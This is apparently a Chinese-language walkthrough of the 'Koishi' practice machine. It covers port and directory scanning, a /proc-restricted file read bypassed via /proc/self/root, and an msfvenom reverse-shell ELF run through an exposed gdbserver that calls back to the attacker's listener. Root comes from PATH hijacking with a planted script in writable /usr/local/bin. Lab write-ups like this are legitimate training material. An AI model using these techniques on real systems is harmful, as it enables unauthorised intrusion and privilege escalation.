

靶机Koishi wp

```
nmap -p- 10.225.243.4
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-04
19:27 EST
Nmap scan report for bogon (10.225.243.4)
Host is up (0.00067s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
44121/tcp open  unknown
```

44121这个服务试了试，不清楚是啥，所以先去看的80端口。

```
gobuster dir -u http://10.225.243.4 -w
/usr/share/wordlists/seclists/Discovery/web-
Content/common.txt -x php,txt,html

=====

=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer
(@firefart)

=====

=====
[+] Url: http://10.225.243.4
[+] Method: GET
[+] Threads: 10
[+] wordlist:
/usr/share/wordlists/seclists/Discovery/web-
Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,html
[+] Timeout: 10s

=====

=====
Starting gobuster in directory enumeration mode

=====

=====
/.git/logs/.html (Status: 403) [Size: 146]
/.hta.html (Status: 403) [Size: 146]
/.hta.txt (Status: 403) [Size: 146]
/.htaccess (Status: 403) [Size: 146]
/.hta (Status: 403) [Size: 146]
/.htaccess.html (Status: 403) [Size: 146]
```

```

/.htaccess.txt      (Status: 403) [Size: 146]
/.htpasswd          (Status: 403) [Size: 146]
/.htpasswd.html     (Status: 403) [Size: 146]
/.htpasswd.txt      (Status: 403) [Size: 146]
/cgi-bin/.html      (Status: 403) [Size: 146]
/index.php          (Status: 200) [Size: 1175]
/index.php          (Status: 200) [Size: 1175]
/info.php           (Status: 200) [Size: 57206]
/info.php           (Status: 200) [Size: 57206]
Progress: 18984 / 18988 (99.98%)

=====
=====
Finished
=====
=====

```

index.php上展示了php的进程信息同时刷新发现pid在变化，猜测可能有文件包含啥的。FUZZ一下参数。

```

wfuzz -C -W /usr/share/wordlists/seclists/Discovery/web-
Content/burp-parameter-names.txt --hw 142
"http://10.225.243.4/index.php?FUZZ=/etc/passwd"
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34:
UserWarning:Pycurl is not compiled against Openssl. wfuzz
might not work correctly when fuzzing SSL sites. Check
wfuzz's documentation for more information.
*****
* wfuzz 3.1.0 - The Web Fuzzer *
*****

Target: http://10.225.243.4/index.php?FUZZ=/etc/passwd
Total requests: 6453

=====
=====
ID          Response  Lines  word  Chars
Payload
=====
=====

000000425:  200          0 L    0 W    0 Ch
"action"
000002206:  200          0 L    6 W   39 Ch
"file"

Total time: 9.688464
Processed Requests: 6453

```

Filtered Requests: 6451

Requests/sec.: 666.0498

发现file和action两个参数，但是读取不了passwd文件。尝试了一下伪协议，也不行。猜测了一下可能是只能读取进程信息。

10.225.243.4/?file=/proc/self/root/etc/passwd成功读取到514用户，进而就可以读取到user.txt。

之后读取源码。10.225.243.4/?file=/proc/self/cwd/index.php

```
<?php
error_reporting(0);
header("Content-Type: text/plain; charset=utf-8");
header("X-Content-Type-Options: nosniff");
header("Content-Disposition: inline");

class ProcReader {
    private $allowedBase = '/proc/';

    public function validatePath($filePath) {
        if (preg_match('/^[a-zA-Z0-9.-]+\:\/\/',
$filePath)) {
            return false;
        }

        $path = str_replace(['//', './'], ['/', ''],
$filePath);

        if (strpos($path, '..') !== false) {
            return false;
        }

        return strpos($path, $this->allowedBase) === 0;
    }

    public function readFile($filePath) {
        if (!$this->validatePath($filePath) ||
!is_readable($filePath)) {
            return "Error: Access Denied or File
Unreadable";
        }

        $content = @file_get_contents($filePath);
        if ($content === false) return "Error: Read
failed";

        return str_replace("\0", " ", $content);
    }
}
```

```

    }
}

$reader = new ProcReader();
$action = $_GET['action'] ?? 'read';
$file = $_GET['file'] ?? '/proc/self/status';

if ($action === 'read') {
    echo $reader->readFile($file);
} elseif ($action === 'list') {
    $dirs = @glob('/proc/[0-9]*', GLOB_ONLYDIR);
    echo implode(PHP_EOL, $dirs);
}

```

发现日志投毒，phpfilter-chain什么的都打不了。尝试读取一下进程。

```

for pid in 1 10 11 12 1221 1225 1226 13 14 15 1578 16 1644
17 18 1876 1877 19 2 20 2096 21 211 212 219 22 2226 2253
2279 23 2306 2337 2338 2339 2365 2398 24 2430 25 2562 2573
2574 26 27 28 3 31 32 33 34 35 36 38 4 40 41 42 43 44 45
46 47 479 48 480 481 482 49 5 50 508 51 52 53 54 56 6 61
63 7 78 8 853 870 882 883 887 888 922 923 924 925 936; do
    echo -n "[*] PID $pid: "
    curl -s "http://10.225.243.4/index.php?
file=/proc/self/root/proc/$pid/cmdline" | tr '\0' ' '
    echo ""
done
[*] PID 1: /sbin/init
[*] PID 10:
[*] PID 11:
[*] PID 12:
[*] PID 1221:
[*] PID 1225:
[*] PID 1226:
[*] PID 13:
[*] PID 14:
[*] PID 15:
[*] PID 1578:
[*] PID 16:
[*] PID 1644:
[*] PID 17:
[*] PID 18:
[*] PID 1876:
[*] PID 1877:
[*] PID 19:
[*] PID 2:
[*] PID 20:

```

```
[*] PID 2096: /sbin/udhcpd -b -R -p
/var/run/udhcpd.eth0.pid -i eth0 -x hostname:koishi
[*] PID 21:
[*] PID 211:
[*] PID 212:
[*] PID 219:
[*] PID 22:
[*] PID 2226: /sbin/syslogd -t -n
[*] PID 2253: /sbin/acpid -f
[*] PID 2279: /usr/sbin/crond -c /etc/crontabs -f
[*] PID 23:
[*] PID 2306: /usr/bin/gdbserver --multi :0
[*] PID 2337: nginx: master process /usr/sbin/nginx -c
/etc/nginx/nginx.conf
[*] PID 2338: nginx: worker process
[*] PID 2339: nginx: worker process
[*] PID 2365: /usr/sbin/ntpd -N -p pool.ntp.org -n
[*] PID 2398: php-fpm: master process (/etc/php83/php-
fpm.conf)
[*] PID 24:
[*] PID 2430: sshd: /usr/sbin/sshd [listener] 0 of 10-100
startups
[*] PID 25:
[*] PID 2562: php-fpm: pool www

[*] PID 2573: php-fpm: pool www

[*] PID 2574: php-fpm: pool www

[*] PID 26:
[*] PID 27:
[*] PID 28:
[*] PID 3:
[*] PID 31:
[*] PID 32:
[*] PID 33:
[*] PID 34:
[*] PID 35:
[*] PID 36:
[*] PID 38:
[*] PID 4:
[*] PID 40:
[*] PID 41:
[*] PID 42:
[*] PID 43:
[*] PID 44:
[*] PID 45:
[*] PID 46:
```

```
[*] PID 47:
[*] PID 479:
[*] PID 48:
[*] PID 480:
[*] PID 481:
[*] PID 482:
[*] PID 49:
[*] PID 5:
[*] PID 50:
[*] PID 508:
[*] PID 51:
[*] PID 52:
[*] PID 53:
[*] PID 54:
[*] PID 56:
[*] PID 6:
[*] PID 61:
[*] PID 63:
[*] PID 7:
[*] PID 78:
[*] PID 8:
[*] PID 853:
[*] PID 870:
[*] PID 882:
[*] PID 883:
[*] PID 887:
[*] PID 888:
[*] PID 922:
[*] PID 923:
[*] PID 924:
[*] PID 925:
[*] PID 936:
```

注意到gdbserver进程同时看一下tcp10.225.243.4/?
[file=/proc/self/root/proc/net/tcp](#)。那么那个奇怪的端口应该就是开启的gdbserver服务。那么突破点应该就是这里了，能从这里反弹shell。

在这里卡了很久，由于自己的操作gdbserver服务断了好多次，重启了很多次靶机。借鉴了[TheHackersLabs - LavaShop | Sunset Blogsunset佬](#)的方法。

```
msfvenom -p linux/x64/shell_reverse_tcp
LHOST=10.225.243.10 LPORT=6666 PrependFork=true -f elf -o
binary.elf
[-] No platform was selected, choosing
Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 106 bytes
```

Final size of elf file: 226 bytes
Saved as: binary.elf

```
└─(kali㉿kali)-[~/Desktop]
└─$ chmod +x binary.elf
```

```
└─(kali㉿kali)-[~/Desktop]
└─$ gdb binary.elf
GNU gdb (Debian 17.1-3) 17.1
Copyright (C) 2025 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
<http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and
redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources
online at:
    <http://www.gnu.org/software/gdb/documentation/>.
```

```
For help, type "help".
Type "apropos word" to search for commands related to
"word"...
Reading symbols from binary.elf...
(No debugging symbols found in binary.elf)
(gdb) target extended-remote 10.225.243.4:44121
Remote debugging using 10.225.243.4:44121
(gdb) remote put binary.elf binary.elf
Successfully sent file "binary.elf".
(gdb) set remote exec-file /tmp/binary.elf
(gdb) run
Starting program: /home/kali/Desktop/binary.elf
✗ During startup program exited with code 127.
(gdb) set remote exec-file /home/514/binary.elf
(gdb) run
Starting program: /home/kali/Desktop/binary.elf
[Detaching after fork from child process 2768]
[Inferior 1 (process 2767) exited normally]
```

成功拿到user的shell。

```
nc -lvnp 6666
listening on [any] 6666 ...
connect to [10.225.243.10] from (UNKNOWN) [10.225.243.4]
46564
id
uid=1000(514) gid=1000(514) groups=1000(514)
```

之后提权部分也卡了。在 `/home/514/protected` 目录下发现root权限的secret文件，但是不能王炸提权。之后传linpeas上去，把扫描结果丢给了ai分析。

然后发现了一些信息：可能有定时任务和secret相关，`/usr/local/bin` 目录可写可能环境变量劫持。之后翻了很多东西，误打误撞的找到了monitor和warning，后面复盘的时候发现传个pspy64看下信息很容易看到monitor的，糖了。

```
cat /usr/bin/monitor
#!/bin/sh
i=1
while [ $i -le 3 ]; do
    if [ ! -f /home/514/protected/secret ]; then
        warning
    fi
    sleep 2
    i=$((i+1))
done
cat /usr/bin/warning
#!/bin/sh
echo "[!] Security Breach: Secret file missing!"
echo $PATH
/sbin:/usr/sbin:/bin:/usr/bin
```

结合之前发现的 `/usr/local/bin` 目录可写，猜测是可以劫持环境变量的。这里原理是sublarge佬告诉我的，root用户的环境变量和当前用户的不一样，猜测一下，`/usr/local/bin` 优先级在 `/usr/bin` 前面。

把原protect目录改了，重写一个新的protect目录，就直接读root.txt了。

```
cat /usr/local/bin/warning
#!/bin/sh
cat /root/root.txt > /home/514/protected/flag_result.txt
```